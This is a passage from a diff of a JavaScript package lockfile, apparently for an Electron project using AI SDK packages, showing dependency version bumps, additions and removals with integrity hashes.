"sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg=="], @@ -2373,6 +2237,10 @@ "util-deprecate": ["util-deprecate@1.0.2", "", {}, "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw=="], + "vary": ["vary@1.1.2", "", {}, "sha512-BNGbWLfd0eUPabhkXUVm0j8uuvREyTh5ovRa/dyow/BqAbZJyC+5fU+IzQOzmAKzYqYRAISoRhdQr3eIZ/PXqg=="], + + "verkit": ["verkit@0.5.0", "", {}, "sha512-u4J1hr6Y+C/hit34GwL3eIcUf3wngT8TlYUjK7tk0jxydKLAq3sYvifjdTDA6U3KCKRcQCQDGf/srjxfZF3l7g=="], + "verror": ["verror@1.10.1", "", { "dependencies": { "assert-plus": "^1.0.0", "core-util-is": "1.0.2", "extsprintf": "^1.2.0" } }, "sha512-veufcmxri4e3XSrT0xwfUR7kguIkaxBeosDg00yDWhk49wdwkSUrvvsm7nc75e1PUyvIeZj6nS8VQRYz2/S4Xg=="], "vfile": ["vfile@6.0.3", "", { "dependencies": { "@types/unist": "^3.0.0", "vfile-message": "^4.0.0" } }, "sha512-KzIbH/9tXat2u30jf+smMwFCsno4wHVdNmzFyL+T/L3UGqqk6JKfVqOFOZEpZSHADH1k40ab6NUIXZq422ov3Q=="], @@ -2385,7 +2253,7 @@ "w3c-keyname": ["w3c-keyname@2.2.8", "", {}, "sha512-dpojBhNsCNN7T82Tm7k26A6G9ML3NkhDsnw9n/eoxSRlVBB4CEtIQ/KTCLI2Fwf3ataSXRhYFkQi3SlnFwPvPQ=="], - "wait-on": ["wait-on@9.0.4", "", { "dependencies": { "axios": "^1.13.5", "joi": "^18.0.2", "lodash": "^4.17.23", "minimist": "^1.2.8", "rxjs": "^7.8.2" }, "bin": { "wait-on": "bin/wait-on" } }, "sha512-k8qrgfwrPVJXTeFY8tl6BxVHiclK11u72DVKhpybHfUL/K6KM4bdyK9EhIVYGytB5MJe/3lq4Tf0hrjM+pvJZQ=="], + "wait-on": ["wait-on@9.5.1", "", { "dependencies": { "axios": "^1.20.0", "joi": "^18.2.9", "lodash": "^4.18.1", "rxjs": "^7.8.2" }, "bin": { "wait-on": "bin/wait-on" } }, "sha512-bOtj1wRY6u+GPnNskZLcgZNHOaL5NC4+5hRCbEpVoVX6MbMrCLCqIBM2bjsAfrgst3ZC0siIo7vLb4LuYFfIow=="], "wasm-feature-detect": ["wasm-feature-detect@1.8.0", "", {}, "sha512-zksaLKM2fVlnB5jQQDqKXXwYHLQUVH9es+5TOOHwGOVJOCeRBCiPjwSg+3tN2AdTCzjgli4jijCH290kXb/zWQ=="], @@ -2393,11 +2261,13 @@ "web-streams-polyfill": ["web-streams-polyfill@3.3.3", "", {}, "sha512-d2JWLCivmZYTSIoge9MsgFCZrt571BikcWGYkjC1khllbTeDlGqZ2D8vD8E/lJa8WGWbb7Plm8/XJYV7IJHZZw=="], + "webcrypto-core": ["webcrypto-core@1.9.2", "", { "dependencies": { "@peculiar/asn1-schema": "^2.7.0", "@peculiar/json-schema": "^1.1.12", "@peculiar/utils": "^2.0.2", "asn1js": "^3.0.10", "tslib": "^2.8.1" } }, "sha512-gsXecm82UQNlTBURJGuqOWy1Ww08S3kZUcr3aOJS02Pk0xLtkfeUAVC0u0xhgdonFme80edSJUIJyuvL/7250Q=="], + "webidl-conversions": ["webidl-conversions@7.0.0", "", {}, "sha512-VwddBukDzu71offAQR975unBIGqfKZpM+8ZX6ySk8nYhVoo5CYaZyzt3YBvYtRtO+aoGlqxPg/B87NGVZ/fu6g=="], "whatwg-url": ["whatwg-url@14.2.0", "", { "dependencies": { "tr46": "^5.1.0", "webidl-conversions": "^7.0.0" } }, "sha512-De72GdQZzNTUBBChsXueQUnPKDkg/5A5zp7pFDuQAj5UFoENpiACU0wlCvzpAGnTkj++ihpKwKyYewn/XNUbKw=="], - "which": ["which@5.0.0", "", { "dependencies": { "isexe": "^3.1.1" }, "bin": { "node-which": "bin/which.js" } }, "sha512-JEdGzHwwkrbWoGOlIHqQ5gtprKGOenpDHpxE9zVR1bWbOtYRyPPHMe9FaP6x61CmNaTThSkb0DAJte5jD+DmzQ=="], + "which": ["which@6.0.1", "", { "dependencies": { "isexe": "^4.0.0" }, "bin": { "node-which": "bin/which.js" } }, "sha512-oGLe46MIrCRqX7ytPUf66EAYvdeMIZYn3WaocqqKZAxrBpkqHfL/qvTyJ/bTk5+AqHCjXmrv3CEWgy368zhRUg=="], "word-extractor": ["word-extractor@1.0.4", "", { "dependencies": { "saxes": "^5.0.1", "yauzl": "^2.10.0" } }, "sha512-PyAGZQ2gjnVA5kcZAOAxoYciCMaAvu0dbVlw/zxHphhy+3be8cDeYKHJPO8iedIM3Sx0arA/ugKTJyXhZNgo6g=="], @@ -2421,53 +2291,27 @@ "yallist": ["yallist@5.0.0", "", {}, "sha512-YgvUTfwqyc7UXVMrB+SImsVYSmTS8X/tSrtdNZMImM+n7+QTriRXyXim0mBrTXNeqzVF0KWGgHPeiyViFFrNDw=="], - "yaml": ["yaml@2.8.3", "", { "bin": { "yaml": "bin.mjs" } }, "sha512-AvbaCLOO2Otw/lW5bmh9d/WEdcDFdQp2Z2ZUH3pX9U2ihyUY0nvLv7J6TrWowklRGPYbB/IuIMfYgxaCPg5Bpg=="], + "yaml": ["yaml@2.9.1", "", { "bin": { "yaml": "bin.mjs" } }, "sha512-3NxN8+78OdzbT7C/WjGsyfPAtJaN3FNDsWxv7Y7mcDsT/oOmgW8BpyQQFFBnvZE3j9Y2Sdz1ULFLezL7Eb2yFw=="], - "yargs": ["yargs@17.7.2", "", { "dependencies": { "cliui": "^8.0.1", "escalade": "^3.1.1", "get-caller-file": "^2.0.5", "require-directory": "^2.1.1", "string-width": "^4.2.3", "y18n": "^5.0.5", "yargs-parser": "^21.1.1" } }, "sha512-7dSzzRQ++CKnNI/krKnYRV7JKKPUXMEh61soaHKg9mrWEhzFWhFnxPxGl+69cD1Ou63C13NUPCnmIcrvqCuM6w=="], + "yargs": ["yargs@18.2.0", "", { "dependencies": { "cliui": "^9.0.1", "escalade": "^3.1.1", "get-caller-file": "^2.0.5", "string-width": "^8.2.1", "y18n": "^5.0.5", "yargs-parser": "^22.0.0" } }, "sha512-9OpKOLeaoNFecEp7P6iYbzze/5CqWoH7N3SMs/6y1XF4nMvFMspEGZzJ6uFi9MmQwXhyzqYoSEKO3tvA3Z/o2w=="], - "yargs-parser": ["yargs-parser@21.1.1", "", {}, "sha512-tVpsJW7DdjecAiFpbIB1e3qxIQsE6NoPc5/eTdrbbIC4h0LVsWhnoa3g+m2HclBIujHzsxZ4VJVA+GUuc2/LBw=="], + "yargs-parser": ["yargs-parser@22.0.0", "", {}, "sha512-rwu/ClNdSMpkSrUb+d6BRsSkLUq1fmfsY6TOpYzTwvwkg1/NRG85KBy3kq++A8LKQwX6lsu+aWad+2khvuXrqw=="], - "yauzl": ["yauzl@3.2.1", "", { "dependencies": { "buffer-crc32": "~0.2.3", "pend": "~1.2.0" } }, "sha512-k1isifdbpNSFEHFJ1ZY4YDewv0IH9FR61lDetaRMD3j2ae3bIXGV+7c+LHCqtQGofSd8PIyV4X6+dHMAnSr60A=="], + "yauzl": ["yauzl@2.10.0", "", { "dependencies": { "buffer-crc32": "~0.2.3", "fd-slicer": "~1.1.0" } }, "sha512-p4a9I6X6nu6IhoGmBqAcbJy1mlC4j27vEPZX9F4L4/vZT3Lyq1VkFHw/V/PUcB9Buo+DG3iHkT0x3Qya58zc3g=="], "yocto-queue": ["yocto-queue@0.1.0", "", {}, "sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q=="], "zlibjs": ["zlibjs@0.3.1", "", {}, "sha512-+J9RrgTKOmlxFSDHo0pI1xM6BLVUv+o0ZT9ANtCxGkjIVCCUdx9alUF8Gm+dGLKbkkkidWIHFDZHDMpfITt4+w=="], - "zod": ["zod@3.25.76", "", {}, "sha512-gzUt/qt81nXsFGKIFcC3YnfEAx5NkunCfnDlvuBSSFS02bcXu4Lmea0AFIUwbLWxWPx3d9p8S5QoaujKcNQxcQ=="], - - "zwitch": ["zwitch@2.0.4", "", {}, "sha512-bXE4cR/kVZhKZX/RjPEflHaKVhUVl85noU3v6b8apfQEc1x4A+zBxjZ4lN8LqGd6WZ3dl98pY4o717VFmoPp+A=="], - - "@ai-sdk/amazon-bedrock/@ai-sdk/anthropic": ["@ai-sdk/anthropic@3.0.64", "", { "dependencies": { "@ai-sdk/provider": "3.0.8", "@ai-sdk/provider-utils": "4.0.21" }, "peerDependencies": { "zod": "^3.25.76 || ^4.1.8" } }, "sha512-rwLi/Rsuj2pYniQXIrvClHvXDzgM4UQHHnvHTWEF14efnlKclG/1ghpNC+adsRujAbCTr6gRsSbDE2vEqriV7g=="], - - "@ai-sdk/anthropic/@ai-sdk/provider-utils": ["@ai-sdk/provider-utils@4.0.19", "", { "dependencies": { "@ai-sdk/provider": "3.0.8", "@standard-schema/spec": "^1.1.0", "eventsource-parser": "^3.0.6" }, "peerDependencies": { "zod": "^3.25.76 || ^4.1.8" } }, "sha512-3eG55CrSWCu2SXlqq2QCsFjo3+E7+Gmg7i/oRVoSZzIodTuDSfLb3MRje67xE9RFea73Zao7Lm4mADIfUETKGg=="], - - "@ai-sdk/azure/@ai-sdk/openai": ["@ai-sdk/openai@3.0.48", "", { "dependencies": { "@ai-sdk/provider": "3.0.8", "@ai-sdk/provider-utils": "4.0.21" }, "peerDependencies": { "zod": "^3.25.76 || ^4.1.8" } }, "sha512-ALmj/53EXpcRqMbGpPJPP4UOSWw0q4VGpnDo7YctvsynjkrKDmoneDG/1a7VQnSPYHnJp6tTRMf5ZdxZ5whulg=="], - - "@ai-sdk/black-forest-labs/@ai-sdk/provider-utils": ["@ai-sdk/provider-utils@4.0.23", "", { "dependencies": { "@ai-sdk/provider": "3.0.8", "@standard-schema/spec": "^1.1.0", "eventsource-parser": "^3.0.6" }, "peerDependencies": { "zod": "^3.25.76 || ^4.1.8" } }, "sha512-z8GlDaCmRSDlqkMF2f4/RFgWxdarvIbyuk+m6WXT1LYgsnGiXRJGTD2Z1+SDl3LqtFuRtGX1aghYvQLoHL/9pg=="], - - "@ai-sdk/bytedance/@ai-sdk/provider-utils": ["@ai-sdk/provider-utils@4.0.23", "", { "dependencies": { "@ai-sdk/provider": "3.0.8", "@standard-schema/spec": "^1.1.0", "eventsource-parser": "^3.0.6" }, "peerDependencies": { "zod": "^3.25.76 || ^4.1.8" } }, "sha512-z8GlDaCmRSDlqkMF2f4/RFgWxdarvIbyuk+m6WXT1LYgsnGiXRJGTD2Z1+SDl3LqtFuRtGX1aghYvQLoHL/9pg=="], + "zod": ["zod@4.6.5", "", {}, "sha512-v5l/aFXZQeai4awLbOpSoHecE9UiMrnfx75tEXLjNonXVARxQ5mOeipTjROUchszUNCqnE+hqAMujRsRHsut2Q=="], - "@ai-sdk/deepseek/@ai-sdk/provider-utils": ["@ai-sdk/provider-utils@4.0.23", "", { "dependencies": { "@ai-sdk/provider": "3.0.8", "@standard-schema/spec": "^1.1.0", "eventsource-parser": "^3.0.6" }, "peerDependencies": { "zod": "^3.25.76 || ^4.1.8" } }, "sha512-z8GlDaCmRSDlqkMF2f4/RFgWxdarvIbyuk+m6WXT1LYgsnGiXRJGTD2Z1+SDl3LqtFuRtGX1aghYvQLoHL/9pg=="], + "zod-to-json-schema": ["zod-to-json-schema@3.25.2", "", { "peerDependencies": { "zod": "^3.25.28 || ^4" } }, "sha512-O/PgfnpT1xKSDeQYSCfRI5Gy3hPf91mKVDuYLUHZJMiDFptvP41MSnWofm8dnCm0256ZNfZIM7DSzuSMAFnjHA=="], - "@ai-sdk/fal/@ai-sdk/provider-utils": ["@ai-sdk/provider-utils@4.0.23", "", { "dependencies": { "@ai-sdk/provider": "3.0.8", "@standard-schema/spec": "^1.1.0", "eventsource-parser": "^3.0.6" }, "peerDependencies": { "zod": "^3.25.76 || ^4.1.8" } }, "sha512-z8GlDaCmRSDlqkMF2f4/RFgWxdarvIbyuk+m6WXT1LYgsnGiXRJGTD2Z1+SDl3LqtFuRtGX1aghYvQLoHL/9pg=="], - - "@ai-sdk/gateway/@ai-sdk/provider-utils": ["@ai-sdk/provider-utils@4.0.19", "", { "dependencies": { "@ai-sdk/provider": "3.0.8", "@standard-schema/spec": "^1.1.0", "eventsource-parser": "^3.0.6" }, "peerDependencies": { "zod": "^3.25.76 || ^4.1.8" } }, "sha512-3eG55CrSWCu2SXlqq2QCsFjo3+E7+Gmg7i/oRVoSZzIodTuDSfLb3MRje67xE9RFea73Zao7Lm4mADIfUETKGg=="], - - "@ai-sdk/google/@ai-sdk/provider-utils": ["@ai-sdk/provider-utils@4.0.19", "", { "dependencies": { "@ai-sdk/provider": "3.0.8", "@standard-schema/spec": "^1.1.0", "eventsource-parser": "^3.0.6" }, "peerDependencies": { "zod": "^3.25.76 || ^4.1.8" } }, "sha512-3eG55CrSWCu2SXlqq2QCsFjo3+E7+Gmg7i/oRVoSZzIodTuDSfLb3MRje67xE9RFea73Zao7Lm4mADIfUETKGg=="], - - "@ai-sdk/google-vertex/@ai-sdk/provider-utils": ["@ai-sdk/provider-utils@4.0.19", "", { "dependencies": { "@ai-sdk/provider": "3.0.8", "@standard-schema/spec": "^1.1.0", "eventsource-parser": "^3.0.6" }, "peerDependencies": { "zod": "^3.25.76 || ^4.1.8" } }, "sha512-3eG55CrSWCu2SXlqq2QCsFjo3+E7+Gmg7i/oRVoSZzIodTuDSfLb3MRje67xE9RFea73Zao7Lm4mADIfUETKGg=="], - - "@ai-sdk/klingai/@ai-sdk/provider-utils": ["@ai-sdk/provider-utils@4.0.23", "", { "dependencies": { "@ai-sdk/provider": "3.0.8", "@standard-schema/spec": "^1.1.0", "eventsource-parser": "^3.0.6" }, "peerDependencies": { "zod": "^3.25.76 || ^4.1.8" } }, "sha512-z8GlDaCmRSDlqkMF2f4/RFgWxdarvIbyuk+m6WXT1LYgsnGiXRJGTD2Z1+SDl3LqtFuRtGX1aghYvQLoHL/9pg=="], - - "@ai-sdk/mcp/@ai-sdk/provider-utils": ["@ai-sdk/provider-utils@4.0.19", "", { "dependencies": { "@ai-sdk/provider": "3.0.8", "@standard-schema/spec": "^1.1.0", "eventsource-parser": "^3.0.6" }, "peerDependencies": { "zod": "^3.25.76 || ^4.1.8" } }, "sha512-3eG55CrSWCu2SXlqq2QCsFjo3+E7+Gmg7i/oRVoSZzIodTuDSfLb3MRje67xE9RFea73Zao7Lm4mADIfUETKGg=="], - - "@ai-sdk/openai/@ai-sdk/provider-utils": ["@ai-sdk/provider-utils@4.0.19", "", { "dependencies": { "@ai-sdk/provider": "3.0.8", "@standard-schema/spec": "^1.1.0", "eventsource-parser": "^3.0.6" }, "peerDependencies": { "zod": "^3.25.76 || ^4.1.8" } }, "sha512-3eG55CrSWCu2SXlqq2QCsFjo3+E7+Gmg7i/oRVoSZzIodTuDSfLb3MRje67xE9RFea73Zao7Lm4mADIfUETKGg=="], - - "@ai-sdk/react/@ai-sdk/provider-utils": ["@ai-sdk/provider-utils@4.0.19", "", { "dependencies": { "@ai-sdk/provider": "3.0.8", "@standard-schema/spec": "^1.1.0", "eventsource-parser": "^3.0.6" }, "peerDependencies": { "zod": "^3.25.76 || ^4.1.8" } }, "sha512-3eG55CrSWCu2SXlqq2QCsFjo3+E7+Gmg7i/oRVoSZzIodTuDSfLb3MRje67xE9RFea73Zao7Lm4mADIfUETKGg=="], + "zwitch": ["zwitch@2.0.4", "", {}, "sha512-bXE4cR/kVZhKZX/RjPEflHaKVhUVl85noU3v6b8apfQEc1x4A+zBxjZ4lN8LqGd6WZ3dl98pY4o717VFmoPp+A=="], - "@ai-sdk/replicate/@ai-sdk/provider-utils": ["@ai-sdk/provider-utils@4.0.23", "", { "dependencies": { "@ai-sdk/provider": "3.0.8", "@standard-schema/spec": "^1.1.0", "eventsource-parser": "^3.0.6" }, "peerDependencies": { "zod": "^3.25.76 || ^4.1.8" } }, "sha512-z8GlDaCmRSDlqkMF2f4/RFgWxdarvIbyuk+m6WXT1LYgsnGiXRJGTD2Z1+SDl3LqtFuRtGX1aghYvQLoHL/9pg=="], + "@commitlint/is-ignored/semver": ["semver@7.7.4", "", { "bin": { "semver": "bin/semver.js" } }, "sha512-vFKC2IEtQnVhpT78h1Yp8wzwrf8CM+MzKMHGJZfBtzhZNycRFnXsHk6E5TxIkkMsgNS7mdX3AGB7x2QM2di4lA=="], - "@aws-crypto/util/@smithy/util-utf8": ["@smithy/util-utf8@2.3.0", "", { "dependencies": { "@smithy/util-buffer-from": "^2.2.0", "tslib": "^2.6.2" } }, "sha512-R8Rdn8Hy72KKcebgLiv8jQcQkXoLMOGGv5uI1/k0l+snqkOzQ1R0ChUBCxWMlBsFMekWjq0wRudIweFs7sKT5A=="], + "@commitlint/read/tinyexec": ["tinyexec@1.3.1", "", {}, "sha512-GCvB3aoys96IuDFBMcTB46JOR6mdMtAToqwiW8JlWhsoh1mhHi/xn9ss/Dg7N555GiJyEt2qzoG/NHCwM6h1EA=="], "@develar/schema-utils/ajv": ["ajv@6.14.0", "", { "dependencies": { "fast-deep-equal": "^3.1.1", "fast-json-stable-stringify": "^2.0.0", "json-schema-traverse": "^0.4.1", "uri-js": "^4.2.2" } }, "sha512-IWrosm/yrn43eiKqkfkHis7QioDleaXQHdDVPKg0FSwwd/DuvyX79TZnFOnYpB7dcsFAMmtFztZuXPDvSePkFw=="], @@ -2475,20 +2319,20 @@ "@electron/asar/minimatch": ["minimatch@3.1.5", "", { "dependencies": { "brace-expansion": "^1.1.7" } }, "sha512-VgjWUsnnT6n+NUk6eZq77zeFdpW2LWDzP6zFGrCbHXiYNul5Dzqk2HHQ5uFH2DNW5Xbp8+jVzaeNt94ssEEl4w=="], - "@electron/fuses/fs-extra": ["fs-extra@9.1.0", "", { "dependencies": { "at-least-node": "^1.0.0", "graceful-fs": "^4.2.0", "jsonfile": "^6.0.1", "universalify": "^2.0.0" } }, "sha512-hcg3ZmepS30/7BSFqRvoo3DOMQu7IjqxO5nCDt+zM9XWjb33Wg7ziNT+Qvqbuc3+gWpzO02JubVyk2G4Zvo1OQ=="], + "@electron/fuses/chalk": ["chalk@4.1.2", "", { "dependencies": { "ansi-styles": "^4.1.0", "supports-color": "^7.1.0" } }, "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA=="], - "@electron/get/fs-extra": ["fs-extra@8.1.0", "", { "dependencies": { "graceful-fs": "^4.2.0", "jsonfile": "^4.0.0", "universalify": "^0.1.0" } }, "sha512-yhlQgA6mnOJUKOsRUFsgJdQCvkKhcz8tlZG5HBQfReYZy46OwLcY+Zia0mtdHsOo9y/hP+CxMN0TU9QxoOtG4g=="], + "@electron/fuses/fs-extra": ["fs-extra@9.1.0", "", { "dependencies": { "at-least-node": "^1.0.0", "graceful-fs": "^4.2.0", "jsonfile": "^6.0.1", "universalify": "^2.0.0" } }, "sha512-hcg3ZmepS30/7BSFqRvoo3DOMQu7IjqxO5nCDt+zM9XWjb33Wg7ziNT+Qvqbuc3+gWpzO02JubVyk2G4Zvo1OQ=="], - "@electron/get/semver": ["semver@6.3.1", "", { "bin": { "semver": "bin/semver.js" } }, "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA=="], + "@electron/get/env-paths": ["env-paths@3.0.0", "", {}, "sha512-dtJUTepzMW3Lm/NPxRf3wP4642UWhjL2sQxc+ym2YMj1m/H2zDNQOlezafzkHwn6sMstjHTwG6iQQsctDW/b1A=="], "@electron/notarize/fs-extra": ["fs-extra@9.1.0", "", { "dependencies": { "at-least-node": "^1.0.0", "graceful-fs": "^4.2.0", "jsonfile": "^6.0.1", "universalify": "^2.0.0" } }, "sha512-hcg3ZmepS30/7BSFqRvoo3DOMQu7IjqxO5nCDt+zM9XWjb33Wg7ziNT+Qvqbuc3+gWpzO02JubVyk2G4Zvo1OQ=="], "@electron/osx-sign/isbinaryfile": ["isbinaryfile@4.0.10", "", {}, "sha512-iHrqe5shvBUcFbmZq9zOQHBoeOhZJu6RQGrDpBgenUm/Am+F3JM2MgQj+rK3Z601fzrL5gLZWtAPH2OBaSVcyw=="], - "@electron/rebuild/node-abi": ["node-abi@4.26.0", "", { "dependencies": { "semver": "^7.6.3" } }, "sha512-8QwIZqikRvDIkXS2S93LjzhsSPJuIbfaMETWH+Bx8oOT9Sa9UsUtBFQlc3gBNd1+QINjaTloitXr1W3dQLi9Iw=="], - "@electron/universal/fs-extra": ["fs-extra@11.3.4", "", { "dependencies": { "graceful-fs": "^4.2.0", "jsonfile": "^6.0.1", "universalify": "^2.0.0" } }, "sha512-CTXd6rk/M3/ULNQj8FBqBWHYBVYybQ3VPBw0xGKFe3tuH7ytT6ACnvzpIQ3UZtB8yvUKC2cXn1a+x+5EVQLovA=="], + "@electron/universal/minimatch": ["minimatch@9.0.9", "", { "dependencies": { "brace-expansion": "^2.0.2" } }, "sha512-OBwBN9AL4dqmETlpS2zasx+vTeWclWzkblfZk7KTA5j3jeOONz/tRCnZomUyvNg83wL5Zv9Ss6HMJXAgL8R2Yg=="], + "@electron/windows-sign/fs-extra": ["fs-extra@11.3.4", "", { "dependencies": { "graceful-fs": "^4.2.0", "jsonfile": "^6.0.1", "universalify": "^2.0.0" } }, "sha512-CTXd6rk/M3/ULNQj8FBqBWHYBVYybQ3VPBw0xGKFe3tuH7ytT6ACnvzpIQ3UZtB8yvUKC2cXn1a+x+5EVQLovA=="], "@esbuild-kit/core-utils/esbuild": ["esbuild@0.18.20", "", { "optionalDependencies": { "@esbuild/android-arm": "0.18.20", "@esbuild/android-arm64": "0.18.20", "@esbuild/android-x64": "0.18.20", "@esbuild/darwin-arm64": "0.18.20", "@esbuild/darwin-x64": "0.18.20", "@esbuild/freebsd-arm64": "0.18.20", "@esbuild/freebsd-x64": "0.18.20", "@esbuild/linux-arm": "0.18.20", "@esbuild/linux-arm64": "0.18.20", "@esbuild/linux-ia32": "0.18.20", "@esbuild/linux-loong64": "0.18.20", "@esbuild/linux-mips64el": "0.18.20", "@esbuild/linux-ppc64": "0.18.20", "@esbuild/linux-riscv64": "0.18.20", "@esbuild/linux-s390x": "0.18.20", "@esbuild/linux-x64": "0.18.20", "@esbuild/netbsd-x64": "0.18.20", "@esbuild/openbsd-x64": "0.18.20", "@esbuild/sunos-x64": "0.18.20", "@esbuild/win32-arm64": "0.18.20", "@esbuild/win32-ia32": "0.18.20", "@esbuild/win32-x64": "0.18.20" }, "bin": { "esbuild": "bin/esbuild" } }, "sha512-ceqxoedUrcayh7Y7ZX6NdbbDzGROiyVBgC4PriJThBKSVPWnnFHZAkfI1lJT8QFkOwH4qOS2SJkS4wvpGl8BpA=="], @@ -2497,53 +2341,87 @@ "@isaacs/cliui/string-width": ["string-width@5.1.2", "", { "dependencies": { "eastasianwidth": "^0.2.0", "emoji-regex": "^9.2.2", "strip-ansi": "^7.0.1" } }, "sha512-HnLOCR3vjcY8beoNLtcjZ5/nxn2afmME6lhrDrebokqMap+XbeW8n9TXpPDOqdGK5qcI3oT0GKTW6wC7EMiVqA=="], - "@isaacs/cliui/strip-ansi": ["strip-ansi@7.2.0", "", { "dependencies": { "ansi-regex": "^6.2.2" } }, "sha512-yDPMNjp4WyfYBkHnjIRLfca1i6KMyGCtsVgoKe/z1+6vukgaENdgGBZt+ZmKPc4gavvEZ5OgHfHdrazhgNyG7w=="], - "@isaacs/cliui/wrap-ansi": ["wrap-ansi@8.1.0", "", { "dependencies": { "ansi-styles": "^6.1.0", "string-width": "^5.0.1", "strip-ansi": "^7.0.1" } }, "sha512-si7QWI6zUMq56bESFvagtmzMdGOtoxfR+Sez11Mobfc7tm+VkUckk9bW2UeffTGVUbOksxmSw0AA2gs8g71NCQ=="], "@malept/flatpak-bundler/fs-extra": ["fs-extra@9.1.0", "", { "dependencies": { "at-least-node": "^1.0.0", "graceful-fs": "^4.2.0", "jsonfile": "^6.0.1", "universalify": "^2.0.0" } }, "sha512-hcg3ZmepS30/7BSFqRvoo3DOMQu7IjqxO5nCDt+zM9XWjb33Wg7ziNT+Qvqbuc3+gWpzO02JubVyk2G4Zvo1OQ=="], + "@malept/flatpak-bundler/lodash": ["lodash@4.17.23", "", {}, "sha512-LgVTMpQtIopCi79SJeDiP0TfWi5CNEc/L/aRdTh3yIvmZXTnheWpKjSZhnvMl8iXbC1tFg9gdHHDMLoV7CnG+w=="], + "@npmcli/agent/lru-cache": ["lru-cache@10.4.3", "", {}, "sha512-JNAzZcXrCt42VGLuYz0zfAzDfAvJWW6AfYlDBQyDV5DClI2m5sAmK+OIO7s59XfsRsWHp02jAJrRadPRGTt6SQ=="], + "@npmcli/fs/semver": ["semver@7.7.4", "", { "bin": { "semver": "bin/semver.js" } }, "sha512-vFKC2IEtQnVhpT78h1Yp8wzwrf8CM+MzKMHGJZfBtzhZNycRFnXsHk6E5TxIkkMsgNS7mdX3AGB7x2QM2di4lA=="], + + "@radix-ui/react-avatar/@radix-ui/react-primitive": ["@radix-ui/react-primitive@2.1.10", "", { "dependencies": { "@radix-ui/react-slot": "1.3.3" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-MucOnzh6hR5mid6VpkbglRAMYMjKLqRnGBbjXkzjK52fuQDd1qbkx78a5P40mkcnVXJdEVxm26E9OPAiUq7nBg=="], + "@radix-ui/react-collection/@radix-ui/react-context": ["@radix-ui/react-context@1.1.2", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-jCi/QKUM2r1Ju5a3J64TH2A5SpKAgh0LpknyqdQ4m6DCV0xJ2HG1xARRwNGPQfi1SLdLWZ1OJz6F4OMBBNiGJA=="], "@radix-ui/react-collection/@radix-ui/react-primitive": ["@radix-ui/react-primitive@2.1.3", "", { "dependencies": { "@radix-ui/react-slot": "1.2.3" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-m9gTwRkhy2lvCPe6QJp4d3G1TYEUHn/FzJUtq9MjH46an1wJU+GdoGC5VLof8RX8Ft/DlpshApkhswDLZzHIcQ=="], "@radix-ui/react-collection/@radix-ui/react-slot": ["@radix-ui/react-slot@1.2.3", "", { "dependencies": { "@radix-ui/react-compose-refs": "1.1.2" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-aeNmHnBxbi2St0au6VBVC7JXFlhLlOnvIIlePNniyUNAClzmtAUEY8/pBiK3iHjufOlwA+c20/8jngo7xcrg8A=="], + "@radix-ui/react-dialog/@radix-ui/primitive": ["@radix-ui/primitive@1.1.3", "", {}, "sha512-JTF99U/6XIjCBo0wqkU5sK10glYe27MRRsfwoiq5zzOEZLHU3A3KCMa5X/azekYRCJ0HlwI0crAXS/5dEHTzDg=="], + "@radix-ui/react-dialog/@radix-ui/react-context": ["@radix-ui/react-context@1.1.2", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-jCi/QKUM2r1Ju5a3J64TH2A5SpKAgh0LpknyqdQ4m6DCV0xJ2HG1xARRwNGPQfi1SLdLWZ1OJz6F4OMBBNiGJA=="], "@radix-ui/react-dialog/@radix-ui/react-primitive": ["@radix-ui/react-primitive@2.1.3", "", { "dependencies": { "@radix-ui/react-slot": "1.2.3" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-m9gTwRkhy2lvCPe6QJp4d3G1TYEUHn/FzJUtq9MjH46an1wJU+GdoGC5VLof8RX8Ft/DlpshApkhswDLZzHIcQ=="], "@radix-ui/react-dialog/@radix-ui/react-slot": ["@radix-ui/react-slot@1.2.3", "", { "dependencies": { "@radix-ui/react-compose-refs": "1.1.2" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-aeNmHnBxbi2St0au6VBVC7JXFlhLlOnvIIlePNniyUNAClzmtAUEY8/pBiK3iHjufOlwA+c20/8jngo7xcrg8A=="], + "@radix-ui/react-dismissable-layer/@radix-ui/primitive": ["@radix-ui/primitive@1.1.3", "", {}, "sha512-JTF99U/6XIjCBo0wqkU5sK10glYe27MRRsfwoiq5zzOEZLHU3A3KCMa5X/azekYRCJ0HlwI0crAXS/5dEHTzDg=="], + 